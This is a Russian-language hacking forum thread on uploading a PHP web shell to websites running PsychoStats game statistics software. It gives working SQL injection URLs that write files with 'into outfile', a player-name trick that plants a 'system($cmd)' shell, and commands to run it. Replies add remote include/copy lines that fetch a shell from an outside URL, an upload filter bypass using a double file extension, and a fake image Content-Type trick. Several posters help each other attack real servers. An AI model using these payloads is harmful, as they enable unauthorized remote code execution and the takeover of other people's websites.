PDA

Просмотр полной версии : Заливаем шелл через PsychoStats


AFoST
08.01.2008, 23:59
Здравствуйте, предлагаю Вашему вниманию статью про то, как залить шелл на сайт через игровую статистику PsychoStats.
Статья, по-существу, является описанием к видео (http://video.antichat.ru/file250.html) .
Главной проблемой в заливке шелла через эту игровую статистику является нахождение пути к папке с правами на запись.

Если Вы нашли сайт с такой статой и нашли полный путь к папке с определёнными правами, тогда вам повезло и можно залить шелл :)
И так, по шагам...
Сперва мне пришла в голову идея как-либо полезно воспользоваться паблик "сплойтом" для этой игровой статы...
http://www.example.com/[path]/server.php?newcss=styles.css&newtheme=%00
Попробовал на локальном сайте, ввёл в броузерную строку сплойт и получил кучу ошибок, после чего стата больше не открывалась в принципе =\...Не зная в чем дело, попросил помощи в соответствующем разделе на ачате :) Правда, ответа так и не получил, зато мне дали толчок найти другие дыры(спасибо Scipio), собственноручно нашёл уже ранее найденные уязвимости в стате. Это были sql-inj после "order by".

/player.php?id=1093&ssort=(-skill*1)&sorder=desc#plrsessions
/clan.php?id=3&psort=(-deaths*1)&porder=desc

Далее хочу сказать спасибо Noiro, он предложил использовать подзапросы в этих скулях, что я и сделал.

/player.php?id=1093&ssort=(-skill*(select 1))&sorder=desc#plrsessions
/clan.php?id=3&psort=(-deaths*(select 1))&porder=desc

На удивление, эти скули работали =\ После чего я решил попробовать записать запрос в файл на сервере...

/player.php?id=1093&ssort=(-skill*(select 1 into outfile '/path/file.txt'))&sorder=desc#plrsessions

Файл создался и в него было записано следующее...
1191849001 1191849415 7405.11 4 4 1.00 2 50.00 0 0 0.00 0 0.00 593 53 11 13.25 20.75 0 414
1191852522 1191854127 7283.30 22 10 2.20 10 45.45 0 0 0.00 0 0.00 3262 261 77 11.86 29.50 0 1605
1191938597 1191938813 7195.62 2 2 1.00 1 50.00 0 0 0.00 1 50.00 404 32 10 16.00 31.25 0 216
1192130752 1192130937 7067.62 2 0 2 2 100.00 0 0 0.00 0 0.00 229 51 8 25.50 15.69 0 185
1192024974 1192026895 7038.66 38 18 2.11 4 10.53 0 0 0.00 0 0.00 4999 289 85 7.61 29.41 1 1921

Это статистика некоторого пользователя с id=1093. Как видно записались одни цифры =( После этой неудачи я решил записать запрос в файл через другую скулю(а вдуг чего изменится!!!)...

/clan.php?id=3&psort=(-deaths*(select 1 into outfile 'd:/system/server/www/info/inet2/2.txt'))&porder=desc

Получил в файле такую лабуду...

1093 1093 2007-04-06 2007-09-30 21.24 0 11 8 72.73 36 90.00 40 2.91 28 2.04 308 0 82 377 314 374 333 29.50 88582 607 16 6 0.99 5 0.86 76 0 172 29.45 2284 0 0 0 0 31 584 25 0.96 0.72 1191141416 48366 3 25.00 1373 10751 18.41 3 580 617 495 796 70.50 117 12 0 0 0 1093 167840198 1175835726 3 1 2 7136.22 10000.00 1198267271 1 167840198 \N [@_oFF_D]~TURIK.<awp>~ 0 \N \N
1105 1105 2007-04-26 2007-06-02 21.72 0 17 10 58.82 44 88.00 50 1.79 37 1.32 209 0 133 713 683 562 534 33.40 253615 1462 24 17 1.16 16 0.92 130 0 602 34.56 6452 0 0 0 0 32 1742 20 1.19 1.01 1180795626 103380 0 0.00 2799 29702 17.05 10 909 1224 712 1065 66.60 177 12 0 0 0 1105 167840029 1177607393 3 32 33 4230.00 10000.00 1197207865 1 167840029 \N [@_oFF_D]-=TURIK=- 0 \N \N
23 23 2006-04-16 2007-12-16 19.32 0 37 22 59.46 426 88.02 484 1.66 390 1.33 3160 0 1263 6261 8781 5542 7798 41.72 2144771 11281 23 99 0.88 136 0.95 1173 0 4327 30.38 58846 0 0 0 0 40 14241 55 1.26 1.12 1197827019 761210 33 17.65 29223 304526 21.38 62 7654 9540 8698 10894 58.28 1644 187 1 0 0 23 167840133 1145209176 3 49 50 3612.55 3782.04 1197827019 1 167840133 \N [@_oFF_D]_[@$PeR] skull.gif 0 \N \N


Помимо всякой чуши из циферок, в файле я нашёл имена мемберов клана с id=3(префикс которого=[@_oFF_D]). Потом мне пришло в голову , что если я состою в клане, то назвавшись, к примеру, "<? system($cmd) ?>", я залью это в файл и получу шелл!!! Благо на имена пользователей в этой стате никаких ограничений не стоит и я так и сделал. Шелл залился, всё прошло замечательно!

С наилучшими пожеланиями, FoST 8(тире)794(тире)038
(с) FoST
08.01.2008, 23:00

Статья впервые опубликована здесь на ачате.

Scipio
09.01.2008, 00:16
можно и проще сделать, /clan.php?id=3&psort=deaths limit 1,1 into outfile 'blablabla'/*
лимит подобрать такой,который указывает на твоего пользователя с шеллом
непробовал но скорее всего можно, причем нужно конечно иметь file_priv пользователя мускула

Spyder
09.01.2008, 00:16
будет работать если у юзера есть файл прив, а вообще интересно)

AFoST
09.01.2008, 00:29
можно и проще сделать,
лимит подобрать такой,который указывает на твоего пользователя с шеллом
непробовал но скорее всего можно, причем нужно конечно иметь file_priv пользователя мускула
Ну да...Тоже вариант. Я когда убедился что в скулях после order by выполняются подзапросы очень удивился :) Поэтому всё делал исключительно через них...

NAT_uu
09.01.2008, 11:06
А есть ещё статьи по взлому этой Психостаты?

AFoST
09.01.2008, 13:28
NAT_uu, хз может и есть =)

ice1k
09.01.2008, 13:38
А есть ещё статьи по взлому этой Психостаты?
google: PsychoStats + vuln

Tyc00n
09.01.2008, 14:31
Обязательно указывать полный путь до папки с правами? Ведь на всех статистиках возможна запись в папку /images , /images/maps/ . Может можно просто /player.php?id=1093&ssort=(-skill*(select 1 into outfile '/images/file.txt'))&sorder=desc#plrsessions ?

Scipio
09.01.2008, 14:45
обязательно полный путь, если путь вобще не указывать, то он зальет в текущую папку, т.е. в ту где хранятся файлы базы данных, а они из веба недоступны т.е. поумалчанию файлы заливаются в папку с файлами базы данных

AFoST
09.01.2008, 15:01
Можно попробовать через текущую папку
outfile './../../..path/file.txt')
..path=путь к дире доступной для чтения извне. Но там придётся или подбирать этот самый путь или же использовать заранее найденную локальную php-inj.

Spyder
09.01.2008, 15:08
папка с базами мускула как правило находится далеко от папок веба, поэтому
вот это
outfile './../../..path/file.txt')
бесполезно \n =)
а уж если есть локал пшп инж, то проще залить в /tmp , в неё то всегда записать можно)

m0nzt3r
17.01.2008, 14:05
Там еще можно иконку заливать в профиле (Хотя я не везде видел).Так вот, вместо нее заливаем пхп скрипт ) Только не помню, называем 1.ico.php - так кажется

heks
17.01.2008, 15:35
не могу зарегать юзера что надо в поле Player Name: когда вписываю имя у меня не регится а пишет только Unique ID does not exist что делать ?

AFoST
17.01.2008, 17:54
Т.к. большинство ников в стате висят только потому, что с ними играли в самой игре кс, то можно взять и зарегать этот ник на себя :) Чтобы залить шелл обязательно нужно состоять в клане! Так что регай ник, который уже состоит в клане. Если так не получится, тогда заходи в игру, поиграй чуток и в клан войди :)

nightmare007
22.01.2008, 23:44
я звиняюсь у мя проблемы с мускульными запросами:

...сlan.php?id=3&psort=(-deaths*(select 1 into outfile 'd:/system/...

поясните плз сдесь в файл по пути d:/system/.... записывается эм.. инфа о участниках клана...

я прошу пояснить так как у меня возникла проблема ... как понял для того чтобы пхп-шлл заработал.... надо вывисти в файл одну строку с пхп-имем 1-ого участника клана...

а у мя в файл выводится инфа о всех пользователях клана и врезультате запуска шела выкидывает страничку с ошибкой


Warning: system() [function.system]: Cannot execute a blank command in W:\www\cs\3.php on line 1

123@ya.ru 0 \N \N 74 70 2008-01-05 2008-01-10 16.52 0 1 1 100.00 3 75.00 4 1.68 1 0.42 17 0 130 42 26 32 28 41.18 9312 105 9 0 0.00 2 3.33 31 0 12 20.00 340 0 0 0 0 0 60 5 0.57 0.27 1199981440 13496 0 0.00 238 2058 34.30 0 63 34 47 40 58.82 11 0 0 0 0 70 [клан]ник 1199539878 8 1558 1539 8647.34 9028.42 1199981440 1 [клан]ник 58

Warning: system() [function.system]: Cannot execute a blank command in W:\www\cs\3.php on line 2
123@mail.ru 1 \N \N



Плз ..подскажите что не так делаю...

п.с.
на этом примере

http://сайт/cs/clan.php?id=8&psort=(-deaths*(select 1 into outfile 'w:/www/cs/123.txt'))&porder=desc

AFoST
23.01.2008, 00:08
Для того, чтобы пхп-шелл заработал надо, чтобы в тексте оказалась строчка <?php system($cmd);?> Да, в этом когда записываешь через into outfile, в файле оказывается информация о всех участниках. Имя одного из них(любого) должно быть как раз-таки шеллом. php-код обрабатывается как язык программирования, только лишь в случае встречи спецтегов <? ... ?>
Запиши в ТХТ файл и покажи, что у тебя там записалось.

Spyder
23.01.2008, 01:01
nightmare007, запускай скрипт так
http://сайт/cs/3.php?cmd=[команда]
например
http://сайт/cs/3.php?cmd=id

У тебя в ошибке написано
Cannot execute a blank command in W:\www\cs\3.php on line 1
Невозможно выполнить пустую команду, т к ты не задал переменную $cmd

ty13r
23.01.2008, 01:11
а для какой версии PsychoStats все это проходит то?

AFoST
23.01.2008, 01:15
Которая в статье - "Powered by PsychoStats v3.0.6b © 2006".
А чтобы узнать уязвима стата или нет, проведи скл-инъекцию после 'order by'.

nightmare007
23.01.2008, 03:15
вот что в текстовом файле:


2458 2488 2008-01-10 2008-01-10 13.05 0 0 0 0.00 0 0.00 0 0.00 0 0.00 0 0 3 31 26 28 19 100.00 1700 31 9 2 6.45 0 0.00 3 0 4 15.38 50 0 0 0 0 0 26 4 0.84 0.38 1199984503 4141 0 0.00 51 383 14.73 0 0 0 0 0 0.00 -18 0 0 0 0 2488 CyCLiK[LG] 1199979967 145 1314 603 9345.09 10000.00 1199984503 1 CyCLiK[LG] \N CyCLiK[LG] BY 0 BY Belarus
2401 2431 2008-01-10 2008-01-10 17.69 0 0 0 0.00 5 71.43 7 4.64 3 1.99 9 0 444 14 11 12 10 15.63 8985 82 5 0 0.00 0 0.00 18 0 20 28.57 256 0 0 0 0 0 70 5 0.85 0.38 1199988075 10994 0 0.00 151 1447 20.67 0 68 59 36 54 84.38 49 0 0 0 0 2431 KyJIu6a[LG] 1199965668 145 1254 969 9470.87 10000.00 1199988075 1 KyJIu6a[LG] 62 <?php system($cmd);?> 123@maill.ru BY 0 BY Belarus


обратил внимание на <?php system($cmd);?> точку с запятой ..d);?>.. но без результатно что с ней что без неё показывает ошибку и всотут

Scipio
23.01.2008, 03:27
а там регистр глобалс включен?
тебе надо вот это вписывать:
<?php system($_GET['cmd']);?> причем это лучше захекисть в sql запросе

nightmare007
23.01.2008, 03:40
Scipio о млин точно ...куль сеньк всем...

слу ... а как терь нормальный пхп файлик закинуть на машину... плз подкинь идею

Scipio
23.01.2008, 03:54
<?php include("http://путь до шелла");?>
или
<?php copy("http://путь до шелла","shelcheng.php");?>
это тоже в хекс исли вариант с copy то он шелл скопирует в текущую папку
а с инклюдом и так все понятно

Lordick
01.02.2008, 13:23
драсьте.
у нас есть отдельный "сервер" для игр. виден есессно только в локалке, соответственно адрес 172.17.1.11, так же на сайт можно пройти по сцыле http://games.k26.ru (опять же только в локалке)

психостатс расположен в http://172.17.1.11/stats
попробовал сплоит с первой страницы - теперь по http://172.17.1.11/stats/ выдет кучу ошибок и ничего не открыват, по http://games.k26.ru/stats/ все отлично открывается.

пробовал как в видео. в общем не могу понять. куда можно залить файл. выяснил полный путь сайта. c:/inetpub/wwwroot/stats. видно что это iis. пытался залить файл куда только можно, ничего не получается. может быть потому, что остальные директории запрещены на заливку файлов.
так же есть http://games.k26.ru/wow (сервер вов). так же пытался туда залить - безуспешно.

и вот думаю - куда лить файл? :) существуют ли стандартные директории в iis, куда можно лить файлы?

AFoST
01.02.2008, 14:02
Lordick, найти папку на которую точно есть доступ на запись. Такие папки обычно являются папками хранения всяких аватаров, картинок, вложений и тп. Поищи такие папки в психостате. Если есть форум, посмотри там такую папку.
А вообще, я смотрю сервер на винде стоит, там нет таких разграничений на прав, как в *никсах и все папки открыты на запись. Magic Quotes может быть включен=>фильтруются ковычки=>запрос некорректен.

.Striker
04.02.2008, 20:07
помогите как слить шелл с удаленного серва?
папку с правами нашел.

InFlame
17.06.2009, 17:03
Нашёл способ...
Заходим в админку > значки, переименовываем шелл в что-то типо shell.PHP.hgfgif, заливаем. Главное чтобы расширение оканчивалось на gif ;) Вот собственно и получаем шелл [path]/images/icons/shell.PHP.hgfgif.

Объясняю как это происходит:
движок проверяет только три последних символа в расширении файла, поэтому делаем такое расширение PHP.hgfgif, предварительно поставив расширение .PHP. и он этот файл легко пропускает. Для Apach'а расширение .hgfgif неизвестно и поэтому он смотрит на расширение левее и интерпретирует его как php-скрипт!
Проверяйте: может и на других двигах сработает...

LStr1ke
02.04.2010, 21:29
Короче такая ситуация.
Получил доступ к админке.
SQL которые были описаны до этого не работают.
Зашел в админку, добавил расширение для картинок - png, jpg, gif, php
Так. Теперь в icons (где заливать файлы). Такие методы, как менять расширение, как сказал InFlame - file.PHP.asdgif - не катят. Нашел только такой способ:
Залил себе на сайт файл. script.php и решил его сразу залить через Upload From URL. - вывел ошибку The URL does not point to an image. Немного подумал. Сделал содержимое файла таким:

<?php
header('Content-type: image/php');
echo 'OK!';
?>

Теперь скормил его Upload From URL и файл успешно залился. Переш на него - site.ru/stats/img/icons/script.php и Мне вывело OK!
Я обрадовался, начал кормить туда шелл. Но ВОТ ТАКАЯ БЕДА!
Содержимое файла оказывается таким, как он выполняется на моем хосте. Тоесть. Если я напимер сделаю <?php system('dir'); ?> То на хосте жертвы будет красоваться содердимое моего хоста.
Файл получается статичным.
Прошу помощи ))))))))))))))

l1ght
02.04.2010, 22:05
echo '<?phpinfo();?>'; ?
/add по сабжу, дописать свои данные в файл из подзапроса можно так
order by (select 1 into outfile 'lala' lines terminated by 'php')
или вообще обойтись без подзапроса (выйдет даже короче)

LStr1ke
02.04.2010, 22:13
echo '<?phpinfo();?>'; ?
:-* :-* :-* :-*